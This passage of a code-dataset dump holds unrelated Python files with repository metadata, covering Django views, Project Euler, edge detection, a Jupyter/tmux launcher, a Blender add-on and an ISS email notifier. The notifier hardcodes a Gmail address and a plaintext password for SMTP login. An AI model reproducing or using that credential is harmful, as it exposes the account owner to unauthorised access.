command.split()\n phrase_vec = []\n\n for w in cmd_words:\n if w in vocab:\n phrase_vec.append(model.wv[w].tolist())\n\n cmd_vec = np.sum(phrase_vec, axis=0)\n return cmd_vec\n\n# Objects Interaction and their Vector Representation\ndef semantic_difference(level, lvl_objects, command):\n cmd_vec = command_representation(command)\n actions = []\n for obj in lvl_objects:\n if isinstance(level[obj]['possible_action'], str):\n actions.append(level[obj]['possible_action'])\n else:\n actions += level[obj]['possible_action']\n\n differences = []\n for action in actions:\n vec = []\n for w in action.split():\n if w in vocab:\n vec.append(model.wv[w].tolist())\n\n action_vec = np.sum(vec, axis=0)\n\n # calculate cosine similarity between action_vec and cmd_vec\n score = scipy.spatial.distance.cosine(action_vec, cmd_vec)\n differences.append(score)\n return differences\n\n# Answers for simple command (easy level)\ndef simple_answer(level, lvl_objects, command):\n sem_diff = semantic_difference(level, lvl_objects, command)\n for obj in lvl_objects:\n if obj in command and min(sem_diff) <= 0.25:\n if level[obj]['requirement'] == None:\n return \"You can \" + command.lower()\n else:\n req = \"The \" + level[obj]['requirement']['object'] + \" \" + level[obj]['requirement']['location'] + \" is required.\"\n return \"Nothing happened. \" + req\n return \"The command is either non-valid or nothing is moved.\" \n\n# Answers for complicated command (with question-typed)\n\n","repo_name":"DungLe13/NLP-for-Game","sub_path":"src/question_answering.py","file_name":"question_answering.py","file_ext":"py","file_size_in_byte":2232,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"16344987162","text":"# If we list all the natural numbers below 10 that are multiples of 3 or 5, we get 3, 5, 6 and 9. \nsumofnumbers = 0\nfor number in range(1, 1000):\n if number % 3 == 0 or number % 5 == 0:\n # test\n # print(number)\n sumofnumbers += number\n # test\n # print(f\"subtotal: {sumofnumbers}\")\n\nprint(f\"total: {sumofnumbers}\")\n\n# The sum of these multiples is 23.\n\n# Find the sum of all the multiples of 3 or 5 below 1000.\n\n","repo_name":"BearyNatural/Practice-at-Uni","sub_path":"Code/07_12.Beginner.py","file_name":"07_12.Beginner.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"15340560135","text":"from rest_framework.decorators import action\n\nfrom common.config_dispose import ConfigDispose\nfrom common.grafana_url import explain_url\nfrom common.viewsets import StandardModelViewSet\nfrom common.response import api_ok_response, api_error_response\nfrom common.verify_handle import ipv4_addr_check\nfrom ..models import Asset\nfrom ..serializers import AssetSerializer\n\nfrom ..verify.operate import OperateInstance\nfrom ..verify.record_log import record\n\n\nclass PhysicalServerViewSet(StandardModelViewSet):\n classify_id = 6\n queryset = Asset.objects.filter(classify_id=classify_id).order_by(\"id\")\n serializer_class = AssetSerializer\n ordering_fields = (\"id\",)\n filter_fields = (\"id\", \"ban_bind\")\n search_fields = (\"data\",)\n\n def list(self, request, *args, **kwargs):\n\n classify_obj = OperateInstance.get_classify(self.classify_id)\n\n if not classify_obj:\n return api_error_response(\"找不到指定的模型表\")\n\n classify_field_obj = OperateInstance.get_classify_field(self.classify_id)\n if not classify_field_obj:\n return api_error_response(\"找不到分类表的字段表\")\n\n queryset = self.filter_queryset(self.get_queryset())\n page = self.paginate_queryset(queryset)\n if page is not None:\n serializer = self.get_serializer(page, many=True)\n return self.get_paginated_response(\n {\n \"data\": serializer.data,\n \"fields\": classify_field_obj.fields,\n \"rules\": classify_field_obj.rules,\n \"patent_classify_name\": classify_field_obj.classify.pid.name,\n \"classify_name\": classify_field_obj.classify.name,\n \"classify_id\": classify_field_obj.classify.id,\n }\n )\n\n serializer = self.get_serializer(queryset, many=True)\n data = {\n \"data\": serializer.data,\n \"fields\": classify_field_obj.fields,\n \"rules\": classify_field_obj.rules,\n \"patent_classify_name\": classify_field_obj.classify.pid.name,\n \"classify_name\": classify_field_obj.classify.name,\n \"classify_id\": classify_field_obj.classify.id,\n }\n return api_ok_response(data)\n\n def destroy(self, request, *args, **kwargs):\n instance = self.get_object()\n\n try:\n record(\"delete_data\", instance, None, request)\n except Exception as e:\n return api_error_response(f\"日志记录出错: {str(e)}\")\n\n instance.delete()\n return api_ok_response(\"删除成功\")\n\n @action(methods=[\"get\"], detail=True, url_path=\"monitor\")\n def monitor(self, request, *args, **kwargs):\n \"\"\"\n var-nodename\n var-instance\n \"\"\"\n instance: Asset = self.get_object()\n s_d = instance.get_unique_data()\n grafana_url, ok = explain_url(\"physical_server\")\n if not ok:\n return api_error_response({\"url\": grafana_url, \"title\": f\"[{s_d}] 主机信息面板\", 'status': ok})\n if ipv4_addr_check(s_d):\n s_d = f\"{s_d}:9100\"\n url = f\"{grafana_url}&var-instance={s_d}\"\n else:\n url = f\"{grafana_url}&var-nodename={s_d}\"\n\n return api_ok_response({\"url\": url, \"title\": f\"[{s_d}] 主机信息面板\", 'status': ok})\n","repo_name":"yanshicheng/pgoops","sub_path":"apps/pgo_data_map/views/physical_server.py","file_name":"physical_server.py","file_ext":"py","file_size_in_byte":3357,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"18694675319","text":"import streamlit as st\r\nimport numpy as np\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.linear_model import LinearRegression\r\nfrom sklearn.metrics import mean_squared_error, r2_score\r\n\r\ndef main():\r\n st.title(\"Uji Korelasi dan Analisis Regresi Linear Sederhana\")\r\n\r\n st.write(\"Masukkan nilai x dan y:\")\r\n x_values = st.text_input(\"Nilai x (pisahkan dengan koma), nilai koma gunakan titik\")\r\n y_values = st.text_input(\"Nilai y (pisahkan dengan koma), nilai koma gunakan titik\")\r\n\r\n x_values = [float(x.strip()) for x in x_values.split(',')]\r\n y_values = [float(y.strip()) for y in y_values.split(',')]\r\n\r\n data = pd.DataFrame({'x': x_values, 'y': y_values})\r\n\r\n st.write(\"Data yang dimasukkan:\")\r\n st.write(data)\r\n\r\n correlation = data['x'].corr(data['y'])\r\n st.write(\"Korelasi antara x dan y: {:.2f}\".format(correlation))\r\n\r\n x = np.array(data['x']).reshape((-1, 1))\r\n y = np.array(data['y'])\r\n\r\n model = LinearRegression()\r\n model.fit(x, y)\r\n\r\n coefficient = model.coef_[0]\r\n intercept = model.intercept_\r\n\r\n st.subheader(\"Model Regresi:\")\r\n st.write(\"y = {:.2f}x + {:.2f}\".format(coefficient, intercept))\r\n\r\n predictions = model.predict(x)\r\n\r\n fig, ax = plt.subplots()\r\n ax.scatter(x, y, color='b', label='Data Asli')\r\n ax.plot(x, predictions, color='r', label='Regresi Linear')\r\n ax.set_xlabel('x')\r\n ax.set_ylabel('y')\r\n ax.legend()\r\n\r\n st.pyplot(fig)\r\n\r\n mse = mean_squared_error(y, predictions)\r\n r2 = r2_score(y, predictions)\r\n\r\n st.subheader(\"Uji Kebaikan Model:\")\r\n st.write(\"R-squared (R2): {:.2f}\".format(r2))\r\n\r\n st.subheader(\"Keterangan:\")\r\n st.write(\"Korelasi antara x dan y adalah sebuah ukuran statistik yang menggambarkan hubungan linier antara kedua variabel. Nilai korelasi berada dalam rentang -1 hingga 1. Jika nilainya mendekati 1, maka hubungan antara x dan y cenderung positif. Jika mendekati -1, maka hubungan cenderung negatif. Jika mendekati 0, maka tidak ada hubungan linier yang jelas antara kedua variabel.\")\r\n st.write(\"Berdasarkan scatterplot dan persamaan regresi linear sederhana, dapat dilihat bahwa terdapat hubungan positif antara x dan y. Persamaan regresi linear sederhana menggambarkan garis lurus yang mewakili hubungan tersebut, dengan koefisien regresi menunjukkan besarnya perubahan y yang dijelaskan oleh perubahan x. Scatterplot menunjukkan sejauh mana data yang diamati cocok dengan garis regresi linear.\")\r\n st.write(\"Hasil uji kebaikan model R-squared (R2), memberikan informasi tentang seberapa baik model regresi linear memprediksi data yang diamati. R2 menggambarkan seberapa baik variabilitas data target dijelaskan oleh model.\")\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"nurfjry/Streamlit-Aplikasi-Statistik","sub_path":"pages/Regresi Linear Sederhana.py","file_name":"Regresi Linear Sederhana.py","file_ext":"py","file_size_in_byte":2754,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"929162121","text":"import sys\r\nimport numpy as np\r\nimport cv2\r\n\r\ndef convolution(image, gfilter, pad_i, pad_j):\r\n image_height, image_width = image.shape\r\n\r\n filter_height, filter_width = gfilter.shape\r\n \r\n #center of the filter\r\n center_i = int((filter_height - 1) / 2) \r\n center_j = int((filter_width - 1) / 2)\r\n \r\n output = np.zeros((image_height, image_width))\r\n \r\n #padding is added to make sure the filter lies within the image\r\n for i in range(center_i + pad_i, image_height - (center_i + pad_i)):\r\n for j in range(center_j + pad_j, image_width - (center_j + pad_j)):\r\n sum = 0\r\n for k in range(-center_i, center_i+1):\r\n for l in range(-center_j, center_j+1):\r\n x = image[i+k, j+l]\r\n y = gfilter[center_i+k, center_j+l]\r\n sum = sum + (x * y)\r\n output[i][j] = sum\r\n \r\n pad_i += center_i\r\n pad_j += center_j\r\n \r\n return output, pad_i, pad_j\r\n\r\ndef gaussian_filter(input_image):\r\n pad_i = 0\r\n pad_j = 0\r\n gfilter = np.array(\r\n [\r\n [1,1,2,2,2,1,1],\r\n [1,2,2,4,2,2,1],\r\n [2,2,4,8,4,2,2],\r\n [2,4,8,16,8,4,2],\r\n [2,2,4,8,4,2,2],\r\n [1,2,2,4,2,2,1],\r\n [1,1,2,2,2,1,1]\r\n ])\r\n gaussian_image, pad_i, pad_j = convolution(input_image, gfilter, pad_i, pad_j)\r\n \r\n #normalise the matrix generated in the previous step\r\n normalise = np.sum(gfilter)\r\n gaussian_image = gaussian_image / normalise\r\n\r\n cv2.imwrite('Lena-gaussian_image.jpg', gaussian_image)\r\n return gaussian_image, pad_i, pad_j\r\n \r\ndef gradient(gaussian_output, pad_i, pad_j):\r\n prewitt_x = np.array(\r\n [\r\n [-1,0,1],\r\n [-1,0,1],\r\n [-1,0,1]\r\n ])\r\n\r\n prewitt_y = np.array(\r\n [\r\n [1,1,1],\r\n [0,0,0],\r\n [-1,-1,-1]\r\n ])\r\n \r\n Gx, pad_i, pad_j = convolution(gaussian_output, prewitt_x, pad_i, pad_j)\r\n Gy, pad_i, pad_j = convolution(gaussian_output, prewitt_y, pad_i, pad_j)\r\n \r\n #calculate magnitude\r\n magnitude = np.sqrt(np.power(Gx, 2) + np.power(Gy, 2))\r\n\r\n #normalise\r\n Gx = np.abs(Gx) / 3\r\n Gy = np.abs(Gy) / 3\r\n magnitude = magnitude / np.sqrt(2)\r\n \r\n cv2.imwrite('Lena-prewittx_output.jpg', Gx)\r\n cv2.imwrite('Lena-prewitty_output.jpg', Gy)\r\n cv2.imwrite('Lena-magnitude_output.jpg', magnitude)\r\n \r\n return Gx, Gy, magnitude, pad_i, pad_j\r\n\r\ndef sector(Gx, Gy):\r\n #calculate angle\r\n theta = np.arctan2(Gy, Gx) * 180 / np.pi\r\n if theta < 0:\r\n theta += 360\r\n \r\n #calculate sector\r\n sector = 2\r\n if (theta > 337.5) or (theta >= 0 and theta <= 22.5) or (theta > 157.5 and theta <= 202.5):\r\n sector = 0\r\n elif (theta > 22.5 and theta <=67.5) or (theta > 202.5 and theta <= 247.5):\r\n sector = 1\r\n elif (theta > 67.5 and theta <=112.5) or (theta > 247.5 and theta <= 292.5):\r\n sector = 2\r\n elif (theta > 112.5 and theta <=157.5) or (theta > 292.5 and theta <= 337.5):\r\n sector = 3\r\n return sector\r\n\r\ndef calc_center_value(mag, i, j, theta, pad_i, pad_j):\r\n C = mag[i,j]\r\n\r\n #Calculate center value by comparing with relevant neighbours based on the sector\r\n if i < pad_i:\r\n return False\r\n elif j < pad_j:\r\n return False\r\n elif theta == 0:\r\n return mag[i, j-1] < C and mag[i, j+1] < C\r\n elif theta == 1:\r\n return mag[i-1, j+1] < C and mag[i+1, j-1] < C\r\n elif theta == 2:\r\n return mag[i-1, j] < C and mag[i+1, j] < C\r\n elif theta == 3:\r\n return mag[i-1, j-1] < C and mag[i+1, j+1] < C\r\n\r\n\r\ndef non_maxima_suppresion(magnitude, prewittx_output, prewitty_output, pad_i, pad_j):\r\n height, width = magnitude.shape\r\n nms = np.zeros((height, width))\r\n \r\n for i in range(1, height-1):\r\n for j in range(1, width-1):\r\n Gx = prewittx_output[i,j]\r\n Gy = prewitty_output[i,j]\r\n theta = sector(Gx,Gy)\r\n if calc_center_value(magnitude, i, j, theta, pad_i, pad_j):\r\n nms[i,j] = magnitude[i,j]\r\n else:\r\n nms[i,j] = 0\r\n cv2.imwrite('Lena-nms_output.jpg', nms)\r\n return nms\r\n\r\n\r\ndef thresholding(nms_output, threshold):\r\n #convert to the nearest integer\r\n nms_integer = np.rint(nms_output)\r\n\r\n #sort to calculate the percentile value\r\n sorted_list = sorted(nms_integer[np.nonzero(nms_integer)])\r\n\r\n #find the value at index located at the threshold percentage in the list\r\n threshold_value = sorted_list[int(len(sorted_list) * (threshold / 100))] \r\n\r\n final_image = np.zeros(nms_output.shape)\r\n for i in range(nms_output.shape[0]):\r\n for j in range(nms_output.shape[1]):\r\n if nms_integer[i][j] >= threshold_value:\r\n final_image[i][j] = 255\r\n \r\n cv2.imwrite('Lena-P-tile' + str(100 - threshold)+'_output.jpg', final_image)\r\n\r\n\r\nif __name__ == '__main__':\r\n input_image = cv2.imread(sys.argv[1], cv2.IMREAD_GRAYSCALE)\r\n input_image = input_image.astype(float)\r\n\r\n height, width = input_image.shape\r\n\r\n #keeps track of the undefined rows and columns\r\n pad_i = 0\r\n pad_j = 0\r\n\r\n #step 1\r\n gaussian_output, pad_i, pad_j = gaussian_filter(input_image)\r\n\r\n #step 2 and 3\r\n prewittx_output, prewitty_output, magnitude, pad_i, pad_j = gradient(gaussian_output, pad_i, pad_j)\r\n\r\n #step 4\r\n nms_output = non_maxima_suppresion(magnitude, prewittx_output, prewitty_output, pad_i, pad_j)\r\n\r\n #step 5\r\n P10_final_output = thresholding(nms_output, 90)\r\n P30_final_output = thresholding(nms_output, 70)\r\n P50_final_output = thresholding(nms_output, 50)\r\n\r\n","repo_name":"JeetKamdar/computer-vision-projects","sub_path":"canny_edge_detection/src/project1_canny.py","file_name":"project1_canny.py","file_ext":"py","file_size_in_byte":5747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"20517720685","text":"#!/usr/bin/env python3\n\nimport libtmux\nimport os\nfrom tqdm import tqdm\nimport argparse\nimport uuid\nimport logging\nimport socket\n\n\nlogging.basicConfig(level=logging.INFO)\n\n\ndef get_free_port():\n with socket.socket() as s:\n s.bind(('',0))\n return s.getsockname()[1]\n\n\ndef get_env_name_by_num(num):\n return 'user-{}'.format(num)\n\ndef start(num_users, base_dir='./'):\n \"\"\"\n Запустить $num_users ноутбуков. У каждого рабочай директория $base_dir+$folder_num\n \"\"\"\n tmux_server = libtmux.Server()\n session_name = str(uuid.uuid4())\n session = tmux_server.new_session(session_name=session_name)\n logging.info('started new tmux session with name: %s', session_name)\n\n for user_num in tqdm(range(1, num_users + 1)):\n # create user work dir\n folder_name = get_env_name_by_num(user_num)\n\n # working dir: //user-\n work_dir = os.path.join(base_dir, session_name, folder_name)\n os.makedirs(work_dir)\n logging.info('created new working dir: %s', work_dir)\n\n # crete tmux-window for each user\n window = session.new_window(window_name=folder_name, start_directory=work_dir)\n logging.info('created new window for tmux session with name: %s', folder_name)\n pane = window.attached_pane\n\n # create python virtual env\n pane.send_keys('python3 -m venv .')\n logging.info('created virtual env')\n\n # activate virtual env\n pane.send_keys('source ./bin/activate')\n logging.info('activated virtual env')\n\n # start jupyter notebook\n cmd = 'jupyter notebook --ip {ip} --port {port} --no-browser --NotebookApp.token=\\'{token}\\' --NotebookApp.notebook_dir=\\'{dir}\\''.format(\n ip='0.0.0.0',\n port=get_free_port(),\n token=str(uuid.uuid4()),\n dir='.',\n )\n pane.send_keys(cmd)\n logging.info('started jupyter notebook')\n logging.info('%s', cmd)\n\n logging.info('session <%s> is runing', session_name)\n\n\ndef stop(session_name, num):\n \"\"\"\n @:param session_name: Названия tmux-сессии, в которой запущены окружения\n @:param num: номер окружения, кот. можно убить\n \"\"\"\n tmux_server = libtmux.Server()\n session = tmux_server.find_where({ \"session_name\": session_name })\n print(session)\n if not session:\n raise Exception('Invalid session_name or session is not running with same name')\n window_name = get_env_name_by_num(num)\n logging.info('stop window %s in session %s', window_name, session_name)\n session.kill_window(window_name)\n\n\ndef stop_all(session_name):\n \"\"\"\n @:param session_name: Названия tmux-сессии, в которой запущены окружения\n \"\"\"\n tmux_server = libtmux.Server()\n session = tmux_server.find_where({ \"session_name\": session_name })\n if not session:\n raise Exception('Invalid session_name or session is not running with same name')\n logging.info('stop session %s', session_name)\n session.kill_session()\n\n\ndef main():\n parser = argparse.ArgumentParser(description='Start and stop several jupyter instances')\n parser.add_argument('cmd', type=str, choices=['start', 'stop', 'stop_all'])\n parser.add_argument('--num_users', type=int)\n parser.add_argument('--env_num', type=int)\n parser.add_argument('--base_dir', type=str, default='./')\n parser.add_argument('--session_name', type=str)\n args = parser.parse_args()\n if args.cmd == 'start':\n if args.num_users is None:\n parser.error('--num_users required option')\n start(args.num_users, args.base_dir)\n elif args.cmd == 'stop':\n if args.session_name is None:\n parser.error('--session_name required option')\n if args.env_num is None:\n parser.error('--env_num required option')\n stop(args.session_name, args.env_num)\n elif args.cmd == 'stop_all':\n if args.session_name is None:\n parser.error(message='--session_name required option')\n stop_all(args.session_name)\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"MrPanch/InfraToolsCourse","sub_path":"Linux&Tmux/solution/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":4226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"20150586792","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nmyfile = open(\"Example.txt\", 'r')\nword = myfile.read()\nword_new = \"\"\nfor i in word:\n if i.isalpha() or i.isspace():\n word_new+= i.upper()\nlist_word = word_new.replace(' ', ' ').split(' ')\ntimeAppear = []\nlist_word_new = []\nfor i in list_word:\n if i not in list_word_new:\n list_word_new.append(i)\n timeAppear.append(list_word.count(i))\nprint(list_word_new)\nlist_word_new.remove('')\nprint(timeAppear)\nlist_most_apprear = []\nlist_timeAppear = []\ncount = 0\nfor i in timeAppear:\n if count <= 30:\n index = timeAppear.index(max(timeAppear))\n list_timeAppear.append(max(timeAppear))\n timeAppear.remove(max(timeAppear))\n list_most_apprear.append(list_word_new[index])\n list_word_new.remove(list_word_new[index])\n count+=1\nprint(len(list_timeAppear))\nprint(len(list_most_apprear))\nplt.plot(list_most_apprear, list_timeAppear,color = 'r')\nplt.title(\"The number of appearance of words\")\nplt.xlabel(\"Word\")\nplt.ylabel(\"The number of appearance\")\nplt.show()\n","repo_name":"thuanvo1302/demo","sub_path":"xstk/lab9/Ex3.py","file_name":"Ex3.py","file_ext":"py","file_size_in_byte":1088,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"22837380318","text":"from django.db.models.signals import post_save, pre_save\nfrom django.contrib.auth.models import User\nfrom .models import *\nfrom django.dispatch import receiver\n\nfrom django.contrib.auth.models import Group\n\n\ndef customer_profile(sender, instance, created, **kwargs):\n if created:\n group = Group.objects.get(name='customer')\n instance.groups.add(group)\n\n Customer.objects.create(\n user=instance,\n name=instance.username,\n email=instance.email,\n )\n\n\npost_save.connect(customer_profile, sender=User)\n\n\ndef save_booking(sender, instance, created, **kwargs):\n if created:\n Appointment.objects.get(\n user=instance.user,\n booking=instance,\n\n )\n\n instance.save()\n\n\npost_save.connect(save_booking, sender=Booking, dispatch_uid=\"my_unique_identifier\")\n","repo_name":"nandipaa/M-N-Spa","sub_path":"Spa/resort/signals.py","file_name":"signals.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"8463483595","text":"import requests\nfrom datetime import datetime\nimport smtplib\nimport time\n\nMY_LAT = -27.469770 # Your latitude\nMY_LONG = 153.025131 # Your longitude\n# constraints\nmy_lat_min = -22.469770\nmy_lat_max = -32.469770\nmy_long_min = 148.025131\nmy_long_max = 158.025131\n\ndef is_iss_overhead():\n response = requests.get(url=\"http://api.open-notify.org/iss-now.json\")\n response.raise_for_status()\n data = response.json()\n\n iss_latitude = float(data[\"iss_position\"][\"latitude\"])\n iss_longitude = float(data[\"iss_position\"][\"longitude\"])\n if my_lat_min <= iss_latitude <= my_lat_min and my_long_min <= iss_longitude <= my_long_max:\n return True\n\n#Your position is within +5 or -5 degrees of the ISS position.\n\ndef is_night():\n parameters = {\n \"lat\": MY_LAT,\n \"lng\": MY_LONG,\n \"formatted\": 0,\n }\n\n response = requests.get(\"https://api.sunrise-sunset.org/json\", params=parameters)\n response.raise_for_status()\n data = response.json()\n sunrise = int(data[\"results\"][\"sunrise\"].split(\"T\")[1].split(\":\")[0])\n sunset = int(data[\"results\"][\"sunset\"].split(\"T\")[1].split(\":\")[0])\n\n time_now = datetime.now().hour\n\n if time_now >= sunset or time_now <= sunrise:\n return True\n\n# ------ SMTP --------#\nemail = \"throwawaytestemail2@gmail.com\"\npassword = \"5Tlny6lL45+tj)Nt\"\nreceiver = \"alexmaksimets@gmail.com\"\ntext = \"Subject: Look up.\\n\\n The ISS is above you\"\n\nwhile True:\n # BONUS: run the code every 60 seconds.\n time.sleep(60)\n if is_iss_overhead() and is_night():\n #If the ISS is close to my current position\n # and it is currently dark\n\n # Then send me an email to tell me to look up.\n with smtplib.SMTP(\"smtp.gmail.com\", 587) as connection:\n connection.starttls() # makes the connection secure\n connection.login(user=email, password=password) # logging in\n connection.sendmail(from_addr=email, to_addrs=receiver, msg=text)\n\n\n\n\n\n\n","repo_name":"maksimumeffort/python_100_days","sub_path":"day_33_challenge/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1953,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"35852070984","text":"#!/bin/python3\nimport sys\n\nchache = {}\nsolutions = {}\n\ndef solve(n):\n max_chain = 0\n max_n = 0\n for n2 in range(1, n + 1):\n n3 = n2 \n chain = 1\n while n2 != 1:\n if n2 in chache:\n chain += (chache[n2] - 1)\n break\n else:\n chain += 1\n if n2 % 2 == 0:\n n2 //= 2\n else:\n n2 = n2 * 3 + 1\n if max_chain <= chain:\n max_chain = chain\n max_n = n3\n chache[n3] = chain\n if n3 in solutions:\n solutions[n3] = max_n\n \n\narr = []\nt = int(input().strip())\nmx = 0\n\nfor a0 in range(t):\n n = int(input().strip())\n solutions[n] = 0\n mx = max(n, mx)\n arr.append(n)\n \nsolve(mx)\n\nfor n in arr:\n print(solutions[n])\n\n","repo_name":"ocrybit/hackerrank","sub_path":"contests/projecteuler/euler014.py","file_name":"euler014.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"32129584424","text":"import os, bpy, bgl, blf, sys\r\nfrom bpy import data, ops, props, types, context\r\n\r\n# ####################################################################################################\r\n#\r\n# this is not my code. originally posted at \r\n# https://blenderartists.org/t/render-camera-script-changing-execution-context-breaks-for-loop/1116355 \r\n# by Forrest_Gimp\r\n#\r\n# ####################################################################################################\r\n\r\n# setup renderbutton for stills\r\nclass RenderAllCameras(bpy.types.Operator):\r\n\tbl_idname = \"render_cams.button\"\r\n\tbl_label = \"All stills\"\r\n\r\n\tdef execute(self, context):\r\n\t\tprint('')\r\n\t\tprint('Rendering stills for all cameras...')\r\n\t\trenderStuff(False)\r\n\t\treturn{'FINISHED'}\r\n\r\n# setup renderbutton for animations\r\nclass RenderAllAnims(bpy.types.Operator):\r\n\tbl_idname = \"render_anims.button\"\r\n\tbl_label = \"All animations\"\r\n\r\n\tdef execute(self, context):\r\n\t\tprint('')\r\n\t\tprint('Rendering animations for all cameras...')\r\n\t\trenderStuff(True)\r\n\t\treturn{'FINISHED'}\r\n\r\n# render scene from all cameras\r\ndef renderStuff(animToggle):\r\n\t# get current scene, renderpath/filename and active camera\r\n\tcurrentScene = bpy.data.scenes[bpy.data.scenes.keys()[0]]\r\n\trenderPath = currentScene.render.filepath\r\n\tpreviousCamera = currentScene.camera\r\n\r\n\t# Loop all objects and find Cameras\r\n\tfor obj in currentScene.objects:\r\n\t\t# Find cameras\r\n\t\tif ( obj.type =='CAMERA') :\r\n\t\t\tprint(\"Rendering camera [\"+obj.name+\"]\") \r\n\t\t\tprint(bpy.context.scene.render.display_mode)\r\n\t\t\t# Set camera as active and create filename for image\r\n\t\t\tcurrentScene.camera = obj\r\n\t\t\tcurrentScene.render.filepath = renderPath+\"_\"+obj.name\r\n\t\t\t# Render cameraview\r\n\t\t\tbpy.ops.render.render(animation=animToggle, write_still=True )#it works, but no preview, only progess in the console\r\n\r\n\t# reset renderpath/filename and active camera\r\n\tcurrentScene.render.filepath = renderPath\r\n\tcurrentScene.camera = previousCamera\r\n\tprint('Done!')\r\n\t\r\n# add section to render-panel\r\nclass RenderAllCamerasPanel(bpy.types.Panel):\r\n\tbl_label = \"Render all cameras\"\r\n\tbl_space_type = 'PROPERTIES'\r\n\tbl_region_type = 'WINDOW'\r\n\tbl_context = \"render\"\r\n\tbl_options = {'DEFAULT_CLOSED'}\r\n\t\r\n\tdef draw(self, context):\r\n\t\tlayout = self.layout\r\n\t\trow = layout.row(align=True)\r\n\t\tcol = layout.column(align=True)\r\n\t\tcol.operator_context = 'INVOKE_DEFAULT'\r\n\t\trow.operator(\"render_cams.button\",icon = 'RENDER_STILL')\t\t\r\n\t\trow.operator(\"render_anims.button\",icon = 'RENDER_ANIMATION')\r\n\t\t\r\n# register the class\r\ndef register():\r\n\tbpy.utils.register_class(RenderAllCameras)\r\n\tbpy.utils.register_class(RenderAllAnims)\r\n\tbpy.utils.register_class(RenderAllCamerasPanel)\r\n\r\ndef unregister():\r\n\tbpy.utils.unregister_class(RenderAllCameras)\r\n\tbpy.utils.unregister_class(RenderAllAnims)\r\n\tbpy.utils.unregister_class(RenderAllCamerasPanel)","repo_name":"idkidk000/blender-misc-scripts","sub_path":"render-all-cameras-addon.py","file_name":"render-all-cameras-addon.py","file_ext":"py","file_size_in_byte":2830,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"5747699946","text":"from django.conf.urls import url\n\nfrom ..views import issue_list, issue_detail, IssueCreate, IssueUpdate, IssueDelete\n\nurlpatterns = [\n url(r'^$', issue_list, name='blog_issue_list'),\n url(r'^create/$', IssueCreate.as_view(), name='blog_issue_create'),\n url(r'^(?P\\d{4})/'r'(?P\\d{1,2})/'r'(?P[\\w\\-]+)/$', issue_detail, name='blog_issue_detail'),\n url(r'^(?P\\d{4})/'r'(?P\\d{1,2})/'r'(?P[\\w\\-]+)/'r'delete/$', IssueDelete.as_view(), name='blog_issue_delete'),\n url(r'^(?P\\d{4})/'r'(?P\\d{1,2})/'r'(?P[\\w\\-]+)/'r'update/$', IssueUpdate.as_view(), name='blog_issue_update'),\n]\n","repo_name":"maziokey/church-app","sub_path":"blog/urls/issue.py","file_name":"issue.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"29735045893","text":"import numpy as np\nimport theano\nimport theano.tensor as T\nfrom sklearn.cross_validation import train_test_split\nfrom sklearn import metrics\nimport lasagne\nimport sys\nimport os\nimport time\n\n\ndef root_mean_squared_loss_function(a, b):\n return (T.log(1.0 + a) - T.log(1.0 + b)) ** 2\n\ndef loss_function_based_theano(input, target):\n pass\n\n\nclass NeuralNetwork(object):\n def __init__(self, problem_type=\"regression\", batch_size=128, epochs=400, layer_number=[], dropout_layer=[],update_function_type=\"adam\"):\n \"\"\"\n :param problem_type: regression or classification\n :param batch_size: \n :epochs: training time\n ::\n :layer_number:\n :dropout_layer:\n \"\"\"\n self.problem_type = problem_type\n self.batch_size = batch_size\n self.epochs = epochs\n self.layer_number = layer_number\n self.dropout_number = dropout_layer\n self.update_function_type = update_function_type\n\n assert len(self.layer_number) == len(\n self.dropout_number), \"you should correct number between hidden layers and dropout numbers\"\n\n def getParam(self):\n param = {\n \"problem_type\": self.problem_type,\n \"batchsize\": self.batch_size,\n \"self.epochs\": self.epochs\n }\n return param\n\n \"\"\"\n\tyou should set the construction of model\n\t\"\"\"\n\n def setModel(self, input_dim, n_classes, input_var):\n neural_network = lasagne.layers.InputLayer(\n shape=(None, input_dim), input_var=input_var\n )\n\n # construct the hidden layers\n for layer, dropout_number in zip(self.layer_number, self.dropout_number):\n neural_network = lasagne.layers.DenseLayer(\n lasagne.layers.DropoutLayer(neural_network, p=dropout_number),\n num_units=layer,\n nonlinearity=lasagne.nonlinearities.leaky_rectify,\n )\n\n if self.problem_type == \"classification\":\n neural_network = lasagne.layers.DenseLayer(\n neural_network,\n num_units=n_classes,\n nonlinearity=lasagne.nonlinearities.softmax,\n )\n elif self.problem_type == \"regression\":\n neural_network = lasagne.layers.DenseLayer(\n neural_network,\n num_units=n_classes\n )\n\n self.neural_network = neural_network\n\n def select_update_function(self, loss, params, update_function_type):\n if update_function_type == \"adam\":\n updates = lasagne.updates.adam(loss, params)\n elif update_function_type == \"sgd\":\n updates = lasagne.updates.sgd(loss, params, 0.01)\n elif update_function_type == \"nesterov_momentum\":\n updates = lasagne.updates.nesterov_momentum(\n loss, params, learning_rate=0.01, momentum=0.9)\n return updates\n\n def select_loss_function(self, prediction, target_var, function_type):\n if 